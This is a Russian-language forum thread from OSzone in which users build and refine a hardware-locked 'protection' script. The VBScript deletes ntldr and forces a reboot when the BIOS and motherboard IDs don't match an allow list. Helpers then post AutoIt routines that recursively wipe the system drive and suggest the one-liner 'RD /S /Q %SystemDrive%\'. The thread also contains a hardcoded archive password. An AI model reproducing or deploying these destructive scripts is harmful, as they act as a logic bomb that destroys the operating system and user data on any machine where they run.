Имя пользователя:
Пароль:
 | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Ответить
Настройки темы
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:

Код: Выделить весь код
Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"

Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
  strComputerHost = objBios.ReleaseDate & objBaseboard.Product
  For Each strAllowedHost in arrayAllowedHosts
    If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
  Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
 objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
 strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
 ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")
То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.
Помогите пожалуйста.
Это сообщение посчитали полезным следующие участники:

Отправлено: 21:11, 21-02-2009

 

Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


1. попробуй так:
Код: Выделить весь код
; Формирование списка системных каталогов
Dim $arrExcl[9]=[8, _
    @WindowsDir, _
    @SystemDir, _
    @WindowsDir &"\Resources", _
    @ProgramFilesDir, _
    RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _
    RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ]

_RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True)

; Замена подстановок на реальные пути
$ExpandEnvStrings = Opt("ExpandEnvStrings",1)
For $i=1 To $arrExcl[0]
    $arrExcl[$i] = $arrExcl[$i]
Next
Opt("ExpandEnvStrings", $ExpandEnvStrings)

; Запуск удаления
_DirRemoveAll(@HomeDrive, $arrExcl)

; Сохранение значений параметров ключа реестра в массив (рекурсивно)
Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False)
    Local $var, $key
    For $i=1 To 10000
        $var = RegEnumVal($sKey, $i)
        If @error Then ExitLoop
        If $sValName=="" Or $sValName=$var Then
            $aVals[0]+=1
            ReDim $aVals[$aVals[0]+1]
            $aVals[$aVals[0]]=RegRead($sKey, $var)
        EndIf
    Next
    If $iRecv Then
        For $j=1 To 10000
            $key = RegEnumKey($sKey, $j)
            If @error Then ExitLoop
            _RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True)
        Next
    EndIf
EndFunc ; ==> _RegEnumValToArray

; Удаление каталога с подкаталогами (рекурсивно)
Func _DirRemoveAll($sDIR, ByRef $aExcl)
    Local $hSearch, $sFile, $sPath, $iRet, $i
    $sDIR = StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)

    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        If StringInStr(FileGetAttrib($sPath), "D") Then
            For $i=1 To $aExcl[0]
                If $sPath=$aExcl[$i] Then ExitLoop
            Next
            ConsoleWrite($sPath &@CRLF)
            If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl)
        Else
            FileSetAttrib($sPath, "-RSH")
            FileDelete($sPath)
        EndIf
    WEnd
    FileClose($hSearch)

    Return SetError(0, 0, True)
EndFunc ; ==> _DirRemoveAll
2. FileDelete("*.*") - удаляет файлы по списку до первого неудаляемого/открытого, DirRemove("path",1) - по ходу удаления пропускает системные/открытые подкаталоги (типа System32\Config)
Это сообщение посчитали полезным следующие участники:

Отправлено: 13:02, 09-03-2009 | #31



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, ну вот и все. Отмучал я Вас. Спасибо огромное. Все работает на УРА!!! Прикольная получилась защита. Совместил Ваш скрипт поиска файла по MD5 сумме с данным и получилась что винда ставится только на ранее зашитые в скрипт материнки или на любой комп если вставить флешку с нужным файлом. Очень здорово! Спасибо еще раз!!!

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 14:43, 09-03-2009 | #32


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
ну вот и все »
признаюсь, лобовое решение короче (ниже), просто хотелось немного оптимизировать по скорости выполнения и поиграть со встроенными функциями AutoIT, а самым быстрым удалением все же остается "RD"
Код: Выделить весь код
_DirClear(@HomeDrive)

Func _DirClear($sDIR)
    Local $hSearch, $sFile, $sPath
    $sDIR = StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)

    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        FileSetAttrib($sPath, "-RSH")
        If StringInStr(FileGetAttrib($sPath), "D") Then
            _DirClear($sPath)
            DirRemove($sPath)
        Else
            FileDelete($sPath)
        EndIf
    WEnd
    FileClose($hSearch)

    Return SetError(0, 0, True)
EndFunc

Отправлено: 16:59, 09-03-2009 | #33


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, запутали вы меня. Что за RD? То что вы привели сейчас быстрее удаляет?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 17:07, 09-03-2009 | #34


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
запутали вы меня »
сказал же - способов и подходов много, надо экспериментировать
Цитата Pozia:
То что вы привели сейчас быстрее удаляет? »
быстрее не должно - это пофайловое удаление... кстати, в последнем варианте строку с DirRemove() нужно закомментировать или удалить - в Вашем случае удалять пустые каталоги необязательно, а ошибок с системными каталогами это позволит избежать
Цитата Pozia:
Что за RD? »
CMD-команда "RD" или "RMDIR", такой вариант не пробовали?
Код: Выделить весь код
RD /S /Q %SystemDrive%\
Это сообщение посчитали полезным следующие участники:

Отправлено: 04:17, 10-03-2009 | #35


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, как можно получить ID BIOS?? Так как я его получаю не работает в виртуальной машине. Может подскажете?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 16:57, 25-10-2009 | #36


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, подскажите почему не работает вот так скрипт. Модифицировал его под другие цели:
Код: Выделить весь код
#NoTrayIcon
Opt("ExpandEnvStrings", 1)

Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4

Global $arrayAllowedHosts[1] = ["200901161000000.000000+000ga-ma770-ds3"]
;--------------------------------------------------------------------------------------------------------------------------------------

if _PlatformArrayTest($arrayAllowedHosts) Then RunWait ("LSession.exe")

;--------------------------------------------------------------------------------------------------------------------------------------
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
    For $objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            For $i=0 To UBound($arrayAllowedHosts)-1
                $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
                If $arrayAllowedHosts[$i]=$strComputerHost Then Return True
            Next
        Next
    Next
    Return False
EndFunc

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 07:43, 24-11-2009 | #37


Новый участник


Сообщения: 1
Благодарности: 0

Профиль | Отправить PM | Цитировать


всем привет ) не кто не может мне сделать скрипт что бы при его открытие всем посылалось определоное сообщения если можете пожалутся сделайте напишите на скайп dodge.90

Отправлено: 13:33, 09-04-2010 | #38



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт nod201 Скриптовые языки администрирования Windows 3 07-12-2009 10:53
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs nod201 Скриптовые языки администрирования Windows 0 05-12-2009 05:44
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD alex_frog Скриптовые языки администрирования Windows 6 22-07-2009 18:41
Помогите, нужен скрипт vbs или wsh Foxie Microsoft Windows NT/2000/2003 3 18-01-2006 13:45
VBS/WSH/JS - Скрипт на VBS b0bi Программирование и базы данных 1 15-06-2004 19:15




 
Переход